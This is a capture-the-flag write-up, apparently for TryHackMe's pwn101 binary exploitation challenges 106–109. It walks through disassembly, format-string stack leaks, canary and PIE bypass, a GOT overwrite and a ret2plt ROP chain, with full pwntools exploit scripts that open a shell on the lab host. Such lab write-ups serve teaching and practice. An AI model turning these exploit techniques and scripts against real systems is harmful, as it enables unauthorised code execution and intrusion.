β”‚    ; var int64_t var_46h @ rbp-0x46
β”‚    ; var int64_t var_48h @ rbp-0x48
β”‚    ; var int64_t var_50h @ rbp-0x50
β”‚    ; var int64_t var_58h @ rbp-0x58
β”‚    ; var int64_t var_60h @ rbp-0x60
β”‚    0x0000123e  push rbp
β”‚    0x0000123f  mov rbp, rsp
β”‚    0x00001242  sub rsp, 0x60
β”‚    0x00001246  mov rax, qword fs:[0x28]
β”‚    0x0000124f  mov qword [canary], rax
β”‚    0x00001253  xor eax, eax
β”‚    0x00001255  mov eax, 0
β”‚    0x0000125a  call sym.setup
β”‚    0x0000125f  mov eax, 0
β”‚    0x00001264  call sym.banner
β”‚    0x00001269  movabs rax, 0x5b5858587b4d4854 ; 'THM{XXX['
β”‚    0x00001273  movabs rdx, 0x6465725f67616c66 ; 'flag_red'
β”‚    0x0000127d  mov qword [var_60h], rax
β”‚    0x00001281  mov qword [var_58h], rdx
β”‚    0x00001285  movabs rax, 0x58585d6465746361 ; 'acted]XX'
β”‚    0x0000128f  mov qword [var_50h], rax
β”‚    0x00001293  mov word [var_48h], 0x7d58  ; 'X}'
β”‚    0x00001299  mov byte [var_46h], 0
β”‚    0x0000129d  lea rax, str._THM_Giveaway__n ; 0x2119
β”‚    0x000012a4  mov rdi, rax                ; const char *s
β”‚    0x000012a7  call sym.imp.puts           ; int puts(const char *s)
β”‚    0x000012ac  lea rax, str.Enter_your_THM_username
β”‚    0x000012b3  mov rdi, rax                ; const char *format
β”‚    0x000012b6  mov eax, 0
β”‚    0x000012bb  call sym.imp.printf         ; int printf(const char *format)
β”‚    0x000012c0  lea rax, [format]
β”‚    0x000012c4  mov edx, 0x32               ; size_t nbyte
β”‚    0x000012c9  mov rsi, rax                ; void *buf
β”‚    0x000012cc  mov edi, 0                  ; int fildes
β”‚    0x000012d1  mov eax, 0
β”‚    0x000012d6  call sym.imp.read           ; read(0, buf, 50)
β”‚    0x000012db  lea rax, str._nThanks_      ; 0x2171 ; "\nThanks "
β”‚    0x000012e2  mov rdi, rax                ; const char *format
β”‚    0x000012e5  mov eax, 0
β”‚    0x000012ea  call sym.imp.printf         ; printf("\nThanks ")
β”‚    0x000012ef  lea rax, [format]
β”‚    0x000012f3  mov rdi, rax                ; const char *format
β”‚    0x000012f6  mov eax, 0
β”‚    0x000012fb  call sym.imp.printf         ; int printf(format)
β”‚    0x00001300  nop
β”‚    0x00001301  mov rax, qword [canary]
β”‚    0x00001305  sub rax, qword fs:[0x28]
β”‚β”Œβ”€< 0x0000130e  je 0x1315
β”‚β”‚   0x00001310  call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
β”‚β”‚   ; CODE XREF
│└─> 0x00001315  leave
β””    0x00001316  ret

The name is printed with the printf instruction in place of the format so we have a format string vulnerability.

As a confirmation we use some %p as username

Enter your THM username to participate in the giveaway: %p %p %p %p
Thanks 0x7ffe2e598ca0 (nil) (nil) 0x18

The goal : the flag is copied on the stack just after then display of the banner.

β”‚    0x00001269  movabs rax, 0x5b5858587b4d4854 ; 'THM{XXX['
β”‚    0x00001273  movabs rdx, 0x6465725f67616c66 ; 'flag_red'
β”‚    0x0000127d  mov qword [var_60h], rax
β”‚    0x00001281  mov qword [var_58h], rdx

We can recover the flag from the stack in positions 6,7,8 9 (in the downloaded program)

Enter your THM username to participate in the giveaway: %p %p %p %p %p %p %p %p %p %p

Thanks 0x7fffffffbda0 (nil) (nil) 0x18 0x7ffff7fdc1f0 0x5b5858587b4d4854 0x6465725f67616c66 0x58585d6465746361 0x7d58 0x7025207025207025

The syntax %i$p is usefull to directely access i th position

Exploitation

Online, we inject %p 6 to 12 and the parse the response until find a β€œ}”.

#!/usr/bin/env python3

from pwn import *
import re

REMOTE=True

server = "pwn101.thm"
port = 9006
file="./pwn106.pwn106"

if REMOTE:
    try:
        io = remote(server, port)
    except:
        log.info(f"Cant connect to {server}")
        exit()
else:
    io = process(file)

io.recvuntil(b'giveaway: ')
PL=' '.join(f'%{i}$p' for i in range(6,12))
io.sendline(PL.encode())
io.recvuntil(b"Thanks ")
r = io.recvline().rstrip()
# join stack leaks
lflag=b''.join([p64(int(n,16)) for n in r.split(b" ")]).decode()
# The flag stop with '}'
flag=lflag[:lflag.index('}')+1]
print(flag)
io.close()

pwn107 - bypass canary protection

Discovery

# ./pwn107.pwn107
       β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
        β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
        β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
                 pwn 107

You are a good THM player 😎
But yesterday you lost your streak πŸ™
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back

THM: What's your last streak? AAAAA
Thanks, Happy hacking!!
Your current streak: AAAAA

[Few days latter.... a notification pops up]

Hi pwner πŸ‘Ύ, keep hackingπŸ‘©πŸ’» - We miss you!😒

gef➀  checksec
[+] checksec for '/home/jce/work/tryhackme/pwn101/107/pwn107.pwn107'
Canary                        : βœ“
NX                            : βœ“
PIE                           : βœ“
Fortify                       : ✘
RelRO                         : Full

The program is protected by a canary, the GOT is fully unwritable, NX and PI are enabled.

Analysis

First we can found a win function, not called by the program. The goal is probabely to call it.

 sym.get_streak ();
β”‚    ; var int64_t canary @ rbp-0x8
β”‚    0x0000094c  push rbp
β”‚    0x0000094d  mov rbp, rsp
β”‚    0x00000950  sub rsp, 0x10
β”‚    0x00000954  mov rax, qword fs:[0x28]
β”‚    0x0000095d  mov qword [canary], rax
β”‚    0x00000961  xor eax, eax
β”‚    0x00000963  lea rdi, str.This_your_last_streak_back
β”‚    0x0000096a  call sym.imp.puts           ; int puts(const char *s)
β”‚    0x0000096f  lea rdi, str.bin_sh         ; 0xc60 ; "/bin/sh"
β”‚    0x00000976  call sym.imp.system         ; int system(const char *string)
β”‚    0x0000097b  nop
β”‚    0x0000097c  mov rax, qword [canary]
β”‚    0x00000980  xor rax, qword fs:[0x28]
β”‚β”Œβ”€< 0x00000989  je 0x990
β”‚β”‚   0x0000098b  call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
β”‚β”‚   ; CODE XREFk @ 0x989
│└─> 0x00000990  leave
β””    0x00000991  ret

main function

β”Œ int main (int argc, char **argv, char **envp);
β”‚     ; var char *format @ rbp-0x40
β”‚     ; var void *buf @ rbp-0x20
β”‚     ; var int64_t canary @ rbp-0x8
β”‚     0x00000992  push rbp
β”‚     0x00000993  mov rbp, rsp
β”‚     0x00000996  sub rsp, 0x40
β”‚     0x0000099a  mov rax, qword fs:[0x28]
β”‚     0x000009a3  mov qword [canary], rax
β”‚     0x000009a7  xor eax, eax
β”‚     0x000009a9  mov eax, 0
β”‚     0x000009ae  call sym.setup
β”‚     0x000009b3  mov eax, 0
β”‚     0x000009b8  call sym.banner
β”‚     0x000009bd  lea rdi, str.You_are_a_good_THM_player ; 0xc68
β”‚     0x000009c4  call sym.imp.puts           ; int puts(const char *s)
β”‚     0x000009c9  lea rdi, str.But_yesterday_you_lost_your_streak
β”‚     0x000009d0  call sym.imp.puts           ; int puts(const char *s)
β”‚     0x000009d5  lea rdi, str.You_mailed_about_this_to_THM__and_they_responsed
β”‚     0x000009dc  call sym.imp.puts           ; int puts(const char *s)
β”‚     0x000009e1  lea rdi, str.Answer_those_questions_and_get_your_streak_back
β”‚     0x000009e8  call sym.imp.puts           ; int puts(const char *s)
β”‚     0x000009ed  lea rdi, str.THM:_What_s_your_last_streak ;
β”‚     0x000009f4  mov eax, 0
β”‚     0x000009f9  call sym.imp.printf         ; printf("THM: What s your")
β”‚     0x000009fe  lea rax, [format]
β”‚     0x00000a02  mov edx, 0x14               ; size_t nbyte
β”‚     0x00000a07  mov rsi, rax                ; void *buf
β”‚     0x00000a0a  mov edi, 0                  ; int fildes
β”‚     0x00000a0f  mov eax, 0
β”‚     0x00000a14  call sym.imp.read           ; read(0,rbp-0x40, 20)
β”‚     0x00000a19  lea rdi, str.Thanks__Happy_hacking
β”‚     0x00000a20  mov eax, 0
β”‚     0x00000a25  call sym.imp.printf         ; printf("Thanks…")
β”‚     0x00000a2a  lea rax, [format]
β”‚     0x00000a2e  mov rdi, rax                ; const char *format
β”‚     0x00000a31  mov eax, 0
β”‚     0x00000a36  call sym.imp.printf         ; printf(rbp-0x40)
β”‚     0x00000a3b  lea rdi, str.Few_days_latter...._a_notification_pops_up
β”‚     0x00000a42  call sym.imp.puts           ; int puts(const char *s)
β”‚     0x00000a47  lea rdi, str.Hi_pwner_______keep_hacking
β”‚     0x00000a4e  call sym.imp.puts           ; int puts(const char *s)
β”‚     0x00000a53  lea rax, [buf]
β”‚     0x00000a57  mov edx, 0x200              ; 512 ; size_t nbyte
β”‚     0x00000a5c  mov rsi, rax                ; void *buf
β”‚     0x00000a5f  mov edi, 0                  ; int fildes
β”‚     0x00000a64  mov eax, 0
β”‚     0x00000a69  call sym.imp.read           ; ssize_t read(0 , *buf, 512)
β”‚     0x00000a6e  nop
β”‚     0x00000a6f  mov rax, qword [canary]
β”‚     0x00000a73  xor rax, qword fs:[0x28]
β”‚ β”Œβ”€< 0x00000a7c  je 0xa83
β”‚ β”‚   0x00000a7e  call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
β”‚ β”‚   ; CODE XREF
β”‚ └─> 0x00000a83  leave
β””     0x00000a84  ret

Two vulnerability are presents

  1. Format string.
    The streak is read in the local variable : rbp-0x40
     0x00000a14  call sym.imp.read           ; read(0,rbp-0x40, 20)

and printed with a format string vulnerability

β”‚     0x00000a36  call sym.imp.printf         ; printf(rbp-0x40)
  1. Overflow.

Le last message read with a max length of 0x200 to the buffer located on rbp-0x20

var void *buf @ rbp-0x20
β”‚     0x00000a69  call sym.imp.read           ; ssize_t read(0 , *buf, 512)

With the format string we can leak the canary and then we can patche the return address of main with the address of get_streak.

The problem here is that with PIE we dont know the real get_streak address.

So we need an other leak : a text section address.

Observing the stack at 0x00000a14 we can see :

gef➀  x/12xg $rsp
0x7fffffffe180: 0x4141414141414141  0x00000a7025207025
0x7fffffffe190: 0x00007ffff7fe4530  0x0000000000000000
0x7fffffffe1a0: 0x0000555555554a90  0x0000555555554780
                <__libc_csu_init>:  start
0x7fffffffe1b0: 0x00007fffffffe2a0  0xff24f6fbd8c03d00
                                    CANARY
0x7fffffffe1c0: 0x0000555555554a90  0x00007ffff7e1209b
0x7fffffffe1d0: 0x0000000000000000  0x00007fffffffe2a8

Where the tags was found handly

gef➀  x/2i 0x000055a01fc4aa90
0x55a01fc4aa90 <__libc_csu_init>:    push   r15

0x55a01fc4aa92 &lt;__libc_csu_init+2>: push r14

We locate the start of the observed stack

THM: What's your last streak? AAAAAAAA%6$p
Thanks, Happy hacking!!
Your current streak: AAAAAAAA0x4141414141414141

To leak @start / canary

THM: What's your last streak? %11$p/%13$p
Thanks, Happy hacking!!

Your current streak: 0x562a37800780/0x85a6d202c4b40f00

The start address give us a base address : 0x562a37800000 => get_streak = 0x562a3780094c

Exploitation

#!/usr/bin/env python3

from pwn import *
import re

REMOTE=False

server = "pwn101.thm"
port = 9007
file="./pwn107.pwn107"

gs = '''
b *main+215
c
'''
elf = ELF(file)
streak = elf.symbols['get_streak']
streak = 0x96f

if REMOTE:
    try:
        io = remote(server, port)
    except:
        log.info(f"Cant connect to {server}")
        exit()
else:
    io = process(file)
    gdb.attach(io, gs)
    # io = gdb.debug(file, aslr=False, gdbscript=gs)

log.info("Leak...")

io.sendlineafter(b'streak?',b'%13$p %11$p')
io.recvuntil(": ")
l1,l2 = io.recvline().rstrip().split(b' ')
io.info(f"leaks : {l1}, {l2}")
canary = int(l1,16)
start_addr = int(l2,16)
streak_addr = (start_addr&0xfffffffff000)|streak
io.info(f"canary     : {canary:08x}")
io.info(f"start_addr : {start_addr:08x}")
io.info(f"streak_addr: {streak_addr:08x}")

PL=b'A'*24+p64(canary)+p64(0xdeadbeaf)+p64(streak_addr)
io.sendline(PL)
io.interactive()

# ./pwn107.py
[*] '/mnt/work/tryhackme/pwn101/107/pwn107.pwn107'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn101.thm on port 9007: Done
[*] Leak...
/b'0xf87f66bd6eb92500' b'0x560763dfb780'
[*] canary        : f87f66bd6eb92500
[*] start_addr : 560763dfb780
[*] streak_addr: 560763dfb96f
[*] Switching to interactive mode

[Few days latter.... a notification pops up]

Hi pwner πŸ‘Ύ, keep hackingπŸ‘©πŸ’» - We miss you!😒
$ ls
flag.txt
pwn107
pwn107.c
$ cat flag.txt
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxx}

pwn108 : GOT overwrite

Discovery

       β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
        β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
        β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
                 pwn 108

      THM University πŸ“š
πŸ‘¨β€πŸŽ“ Student login portal πŸ‘©β€πŸŽ“

=[Your name]: ZZZZZZZZ
=[Your Reg No]: 111

=[ STUDENT PROFILE ]=
Name         : ZZZZZZZZ
Register no  : 111
Institue     : THM
Branch       : B.E (Binary Exploitation)

                    =[ EXAM SCHEDULE ]=
 --------------------------------------------------------
|  Date     |           Exam               |    FN/AN    |
|--------------------------------------------------------
| 1/2/2022  |  PROGRAMMING IN ASSEMBLY     |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  DATA STRUCTURES             |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  RETURN ORIENTED PROGRAMMING |     AN      |
|--------------------------------------------------------
| 7/2/2022  |  SCRIPTING WITH PYTHON       |     FN      |
 --------------------------------------------------------

Protection :

[+] checksec for '/home/jce/work/tryhackme/pwn101/108/pwn108.pwn108'
Canary                    	: βœ“
NX                        	: βœ“
PIE                       	: ✘
Fortify                   	: ✘
RelRO                     	: Partial

Analysis

We can identify a target function.

β”Œ sym.holidays ();
β”‚     ; var int64_t var_eh @ rbp-0xe
β”‚     ; var int64_t var_ah @ rbp-0xa
β”‚     ; var int64_t canary @ rbp-0x8
β”‚     0x0040123b  push rbp
β”‚     0x0040123c  mov rbp, rsp
β”‚     0x0040123f  sub rsp, 0x10
β”‚     0x00401243  mov rax, qword fs:[0x28]
β”‚     0x0040124c  mov qword [canary], rax
β”‚     0x00401250  xor eax, eax
β”‚     0x00401252  mov dword [var_eh], 0x6d617865 ; 'exam'
β”‚     0x00401259  mov word [var_ah], 0x73     ; 's' ; 115
β”‚     0x0040125f  lea rax, [var_eh]
β”‚     0x00401263  mov rsi, rax
β”‚     0x00401266  lea rax, str.No_more__s_for_you_enjoy_your_holidays
β”‚     0x0040126d  mov rdi, rax                ; const char *format
β”‚     0x00401270  mov eax, 0
β”‚     0x00401275  call sym.imp.printf         ; int printf(const char *format)
β”‚     0x0040127a  lea rax, str.bin_sh         ; 0x40216f ; "/bin/sh"
β”‚     0x00401281  mov rdi, rax                ; const char *string
β”‚     0x00401284  call sym.imp.system         ; int system(const char *string)
β”‚     0x00401289  nop
β”‚     0x0040128a  mov rax, qword [canary]
β”‚     0x0040128e  sub rax, qword fs:[0x28]
β”‚ β”Œβ”€< 0x00401297  je 0x40129e
β”‚ β”‚   0x00401299  call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
β”‚ β”‚   ; CODE XREF@ 0x401297
β”‚ └─> 0x0040129e  leave
β””     0x0040129f  ret

In the main function

Printting no is vulnerable to a format string exploitation

β”‚    0x0040137a  lea rax, str.Register_no__: ; 0x40220f ; "Register no  : "
β”‚    0x00401381  mov rdi, rax                ; const char *format
β”‚    0x00401384  mov eax, 0
β”‚    0x00401389  call sym.imp.printf         ; int printf(const char *format)

The input of this no accept 100 bytes

β”‚    0x00401336  mov edx, 0x64               ; 100 ; size_t nbyte
β”‚    0x0040133b  mov rsi, rax                ; void *buf
β”‚    0x0040133e  mov edi, 0                  ; int fildes
β”‚    0x00401343  mov eax, 0
β”‚    0x00401348  call sym.imp.read           ; ssize_t read(0, *buf, 100)

=[Your name]: AAAA
=[Your Reg No]: BBBBBBBB %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p  %p %p %p %p %p %p %p %p %p %p

=[ STUDENT PROFILE ]=
Name     	: AAAA
Register no  : BBBBBBBB 0x7fff7df980b0 0x7f5eb49438c0 (nil) 0x7f5eb4948500 0x7f5eb4900e80 0xa41414141 (nil) (nil) (nil) 0x4242424242424242 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x7025202070252070 0x2520702520702520 0x2070252070252070  0x7025207025207025 0x7fff0a702520 0xffe56cbe8beac200 0x4013f0 0x7f5eb47aa09b (nil) 0x7fff7df9a8c8 0x100040000 0x4012a0 (nil)
οΏ½Institue 	: THM

The name is at offset 6 the the no to offset 10.

=[Your name]: AAAAAAAA
=[Your Reg No]: BBBBBBBB %6$p %10$p

=[ STUDENT PROFILE ]=
Name     	: AAAAAAAA

Register no : BBBBBBBB 0x4141414141414141 0x4242424242424242

Building the attack

To call the function holliday we will replace the got entry of the function puts by the address of holliday.

In the name we can set an adresse available at offset 6 in the second printf.

On the second printf we can control

0x404018 <puts@got.plt>:    0x00007f2d15b96910
                                    0x0040123b

We write 0x40 (64) first at puts@got+2

We write 0x123b at puts@got

puts@got+2 is set in the name to be present in the stack at offset 6

puts@got is set in the register no to be present at an offset has to be adjusted

The payload to write 0x40 then

%64c%6$n%{0x123b-67}c %13$hn/’.encode()+p64(puts@got)

%64c : send 0x40 car.

%6$n : write 0x40 to puts@got+2

%{0x123b-67}c : send the missing car to 0x123b

2 car for alignment

%13$hn : write 2 bytes in got_puts

puts@got : to be in 13th position

#!/usr/bin/env python3

from pwn import *
import sys

REMOTE=False

server = "pwn101.thm"
port = 9008
file="./pwn108.pwn108"

gs = '''
b *main+250
c
'''
elf = ELF(file)
got_puts = elf.got['puts']
holidays = elf.symbols['holidays']

if len(sys.argv)>0 and sys.argv[1] == '-r':
    REMOTE=True

if REMOTE:
    try:
        io = remote(server, port)
    except:
        log.info(f"Cant connect to {server}")
        exit()
else:
    io = process(file)
    gdb.attach(io, gs)
    #io = gdb.debug(file, aslr=False, gdbscript=gs)

io.sendlineafter('name]: ', p64(got_puts+2))

patch=holidays&0xffff
io.info(f"got_puts     : {got_puts:08x}")
io.info(f"holidays     : {holidays:08x}")
io.info(f"patch        : {patch:08x}")

PL=f'%64c%6$n%{patch-67}c   %13$hn/'.encode()+p64(got_puts)
io.sendlineafter('No]: ', PL)
io.interactive()

$ id
uid=1009(pwn108) gid=1009(pwn108) groups=1009(pwn108)
$ ls
flag.txt
pwn108
pwn108.c
$ cat flag.txt
THM{xxxxxxxxxxxxxxxxxx}

pwn 109 - Return to PLT

Discovery

     β”Œβ”¬β”β”¬β”€β”β”¬ ┬┬ β”¬β”Œβ”€β”β”Œβ”€β”β”¬β”Œβ”€β”Œβ”¬β”β”Œβ”€β”
      β”‚ β”œβ”¬β”˜β””β”¬β”˜β”œβ”€β”€β”œβ”€β”€β”‚  β”œβ”΄β”β”‚β”‚β”‚β”œβ”€
      β”΄ ┴└─ β”΄ β”΄ β”΄β”΄ β”΄β””β”€β”˜β”΄ β”΄β”΄ β”΄β””β”€β”˜
                     pwn 109

This time no πŸ—‘οΈ 🀫 & 🐈🚩.πŸ“„ Go ahead 😏
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401231 in main ()

gef➀  checksec
[+] checksec for '/home/jce/work/tryhackme/pwn101/109/pwn109.pwn109'
Canary                        : ✘
NX                            : βœ“
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial

No canary protect the return address, the addresse are static and we can write in the GOT.

Analysis

Dump of assembler code for function main:
   0x00000000004011f2 <+0>:    endbr64
   0x00000000004011f6 <+4>:    push   rbp
   0x00000000004011f7 <+5>:    mov    rbp,rsp
   0x00000000004011fa <+8>:    sub    rsp,0x20
   0x00000000004011fe <+12>:   mov    eax,0x0
   0x0000000000401203 <+17>:    call   0x401176 <setup>
   0x0000000000401208 <+22>:    mov    eax,0x0
   0x000000000040120d <+27>:    call   0x4011db <banner>
   0x0000000000401212 <+32>:    lea    rdi,[rip+0xf07]        # 0x402120
   0x0000000000401219 <+39>:    call   0x401060 <puts@plt>
   0x000000000040121e <+44>:    lea    rax,[rbp-0x20]
   0x0000000000401222 <+48>:    mov    rdi,rax
   0x0000000000401225 <+51>:    mov    eax,0x0
   0x000000000040122a <+56>:    call   0x401070 <gets@plt>
   0x000000000040122f <+61>:    nop
   0x0000000000401230 <+62>:    leave
   0x0000000000401231 <+63>:    ret
End of assembler dump.

We have an simple overflow of size 32 :

0x00000000004011fa <+8>: sub rsp,0x20

0x000000000040122a <+56>:    call   0x401070 <gets@plt>

The addresse are static so we can use gets to leak the GOT table.

In the program we hav only 3 functions avalable in the PLT/GOT : gets, puts and setbuf used in the setup() function.

What can we do.

  • execute a ROP chaine by a simple overflow
  • leak the got
  • in the ropchain call the main to engage serveral stages

Then we can call β€œsystem” with a ret-PLT attack.

Building the attack

To call system we have to find his address. We can calculate from the address of gets, puts or setbuf. On the local machine it is easy but on the remote target we will need help.

The stages of the attack are :

  1. leak the puts, and gets addresses in the GOT
  2. localize system, and β€œ/bin/sh” in the libc
  3. call system(β€œ/bin/sh”)

Leaking

To leak a GOT with gets we need first a rop gadget to put the target address in rdi .

# ROPgadget --binary pwn109.pwn109 |grep "pop rdi"                                                                                                                           0x00000000004012a3 : pop rdi ; ret

The we build the ropchain :

    @pop_rdi gadget
    gets@got
    puts@plt
    @main

The gadget load the address of gets in rdi.

  • puts@plt call gets and leak the address of gets in libc.
  • main return to the begining of the program so we loop
  • So the message payload to send is:
  • β€œA”*40 | pop_rdi | gets@got| puts@plt | main

With pwtools

Get the program infos

elf = ELF(file)
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
got_gets = elf.got['gets']
elf_main = elf.symbols['main']
pop_rdi=p64(0x04012a3)

leak gets

io.info("stage 1")
PL=b'A'*40
PL+=pop_rdi
PL+=p64(got_gets)
PL+=p64(plt_puts)
PL+=p64(elf_main)
io.readuntil(b'ahead')
io.readline()
io.sendline(PL)
r =io.recv(6)+b'\x00\x00'
leak_gets=u64(r)
print(f"leak gets : {leak_gets:08x}")

leak gets : 7f0fa7c7b190
leak puts : 7f0fa7c7baa0

Calling system

To call system we have to know de offset between a leak and system in the libc.

On the local machine an easy way to localize the system function and β€œ/bin/sh” is to user gdb, GEF or pwngdb

pwndbg> p system
$1 = {int (const char *)} 0x7ffff7e2a850 <__libc_system>
pwndbg> search "/bin/sh"
libc-2.33.so	0x7ffff7f69962 0x68732f6e69622f /* '/bin/sh' */
pwndbg> p gets
$3 = {char *(char *)} 0x7ffff7e56350 <_IO_gets>

I prefer to work with offset to the begining of the libc

info file
. . .
0x00007ffff7de1350 - 0x00007ffff7de1370 is .note.gnu.property in /lib/x86_64-linux-gnu/libc.so.6
. . .

The libc base address is 0x00007ffff7de1000

offset of system : 0x49850

offset of /bin/sh : 0x188962

offset of gets : 0x75350

So from the gets leak we can obtain : libc_base = leak - 0x75350 and @system = libc_base + 0x49850 @str_bin_sh = libc_base + 0x188962

Building the payload :

PL=b'A'*40
PL+=pop_rdi
PL+=p64(binsh_addr)
PL+=p64(system_addr)

For stack alignment problem we realy add en rop-nop instruction (ret address) in the begining of the ropchain.

PL=b'A'*40
PL+=ret
PL+=pop_rdi
PL+=p64(binsh_addr)
PL+=p64(system_addr)

Resolving addresses in remote libc

From some leak addresses in a given libc we can identify the libc version with online tools like :

https://libc.blukat.me/

or

https://libc.rip/

The second is actualy better updated.

/images/libc_rip.png “libc database”

It is an api so you can resolve automaticaly the adresses :

curl 'https://libc.rip/api/find' -H 'Content-Type: application/json' --data-raw '{"symbols":{"gets":"190","puts":"aa0"}}'
[
  {
	"buildid": "ce450eb01a5e5acc7ce7b8c2633b02cc1093339e",
	"download_url": "https://libc.rip/download/libc6_2.27-3ubuntu1.4_amd64.so",
	"id": "libc6_2.27-3ubuntu1.4_amd64",
	"libs_url": "http://archive.ubuntu.com/ubuntu/pool/main/g/glibc//libc6_2.27-3ubuntu1.4_amd64.deb",
	"md5": "8ee8363b834ad2c65a05bd40c8e4623e",
	"sha1": "46e93283ff53133360e02a73ae5b5ba375410855",
	"sha256": "467d8d5596e31cec78cdcde0c589bd04c031ec36598531bfd77e346ac447d9d6",
	"symbols": {
  	"__libc_start_main_ret": "0x21bf7",
  	"dup2": "0x110a70",
  	"gets": "0x80190",
  	"printf": "0x64f70",
  	"puts": "0x80aa0",
  	"read": "0x110140",
  	"str_bin_sh": "0x1b3e1a",
  	"system": "0x4f550",
  	"write": "0x110210"
	},
	"symbols_url": "https://libc.rip/download/libc6_2.27-3ubuntu1.4_amd64.symbols"
  },
  {
	"buildid": "cc6dd208d3af4bc505f599a90ef8af52f16116e4",
	"download_url": "https://libc.rip/download/libc6_2.27-3ubuntu1.3_amd64.so",
	"id": "libc6_2.27-3ubuntu1.3_amd64",
	"libs_url": "http://archive.ubuntu.com/ubuntu/pool/main/g/glibc//libc6_2.27-3ubuntu1.3_amd64.deb",
	"md5": "b7bb0c7852f533334ee662034f534f7e",
	"sha1": "931ff6cb80de2696bb1330b417bca9bfaaf1d40b",
	"sha256": "799a86fec8450776b0b15e40f4e184df609c1ee4bb7f9d0d861cb292a38efd43",
	"symbols": {
  	"__libc_start_main_ret": "0x21bf7",
  	"dup2": "0x110a70",
  	"gets": "0x80190",
  	"printf": "0x64f70",
  	"puts": "0x80aa0",
  	"read": "0x110140",
  	"str_bin_sh": "0x1b3e1a",
  	"system": "0x4f550",
  	"write": "0x110210"
	},
	"symbols_url": "https://libc.rip/download/libc6_2.27-3ubuntu1.3_amd64.symbols"
  }
]

The site return two near versions of the libc with the same offsets.

exploit

In this script we don’t call

from pwn import *
import sys

REMOTE=False

server = "pwn101.thm"
port = 9009
file="./pwn109.pwn109"

gs = '''
b *main+56
c
'''
elf = ELF(file)
plt_puts = elf.plt['puts']
print(elf.got)
got_puts = elf.got['__libc_start_main']
got_puts = elf.got['puts']
got_gets = elf.got['gets']
elf_main = elf.symbols['main']
pop_rdi=p64(0x04012a3)
ret=p64(0x0401231)

# simple arg parsing
if len(sys.argv)>1 and sys.argv[1] == '-r':
	REMOTE=True

if REMOTE:
	try:
    	io = remote(server, port)
	except:
    	log.info(f"Cant connect to {server}")
    	exit()
	# libc6_2.27-3ubuntu1.4_amd64
	off_puts=0x080aa0
	off_binsh=0x1b3e1a
	off_system=0x04f550
else:
	io = process(file)
	#gdb.attach(io, gs)
	#io = gdb.debug(file, aslr=False, gdbscript=gs)
	off_system=0x40850
	off_gets=0x6c350
	off_puts=0x6cde0
	off_binsh=0x17f962

io.info("**** ret2plt *****")
io.info(f"plt_puts 	: {plt_puts:08x}")
io.info(f"got_puts 	: {got_puts:08x}")
io.info(f"elf_main 	: {elf_main:08x}")

io.info("stage 1")
PL=b'A'*40
PL+=pop_rdi
PL+=p64(got_gets)
PL+=p64(plt_puts)
PL+=p64(elf_main)
io.readuntil(b'ahead')
io.readline()
io.sendline(PL)
r =io.recv(6)+b'\x00\x00'
leak_gets=u64(r)
print(f"leak gets : {leak_gets:08x}")

io.info("stage 2")
PL=b'A'*40
PL+=pop_rdi
PL+=p64(got_puts)
PL+=p64(plt_puts)
PL+=p64(elf_main)
io.readuntil(b'ahead')
io.readline()
io.sendline(PL)
r =io.recv(6)+b'\x00\x00'
leak_puts=u64(r)
print(f"leak puts : {leak_puts:08x}")

libc_base=leak_puts - off_puts
system_addr = libc_base+off_system
binsh_addr = libc_base+off_binsh

io.info(f"libc base : {libc_base:08x}")
io.info(f"system	: {system_addr:08x}")

io.info("stage 3")
PL=b'A'*40
PL+=ret
PL+=pop_rdi
PL+=p64(binsh_addr)
PL+=p64(system_addr)
io.readuntil(b'ahead')
io.readline()
io.sendline(PL)

io.sendline(b'cat flag.txt')
print(io.readline().decode())
io.interactive()

Execution :

β”Œβ”€β”€(rootπŸ’€KALI2021)-[/mnt/work/tryhackme/pwn101/109]
└─# python3 stage1.py -r
[*] '/mnt/work/tryhackme/pwn101/109/pwn109.pwn109'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
{'__libc_start_main': 4210672, '__gmon_start__': 4210680, 'stdout': 4210752, 'stdin': 4210768, 'stderr': 4210784, 'puts': 4210712, 'gets': 4210720, 'setvbuf': 4210728}
[+] Opening connection to pwn101.thm on port 9009: Done
[*] **** ret2plt *****
[*] plt_puts     : 00401064
[*] got_puts     : 00404018
[*] elf_main     : 004011f2
[*] stage 1
leak gets : 7f0fa7c7b190
[*] stage 2
leak puts : 7f0fa7c7baa0
[*] libc base : 7f0fa7bfb000
[*] system    : 7f0fa7c4a550
[*] stage 3
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

[*] Closed connection to pwn101.thm port 9009

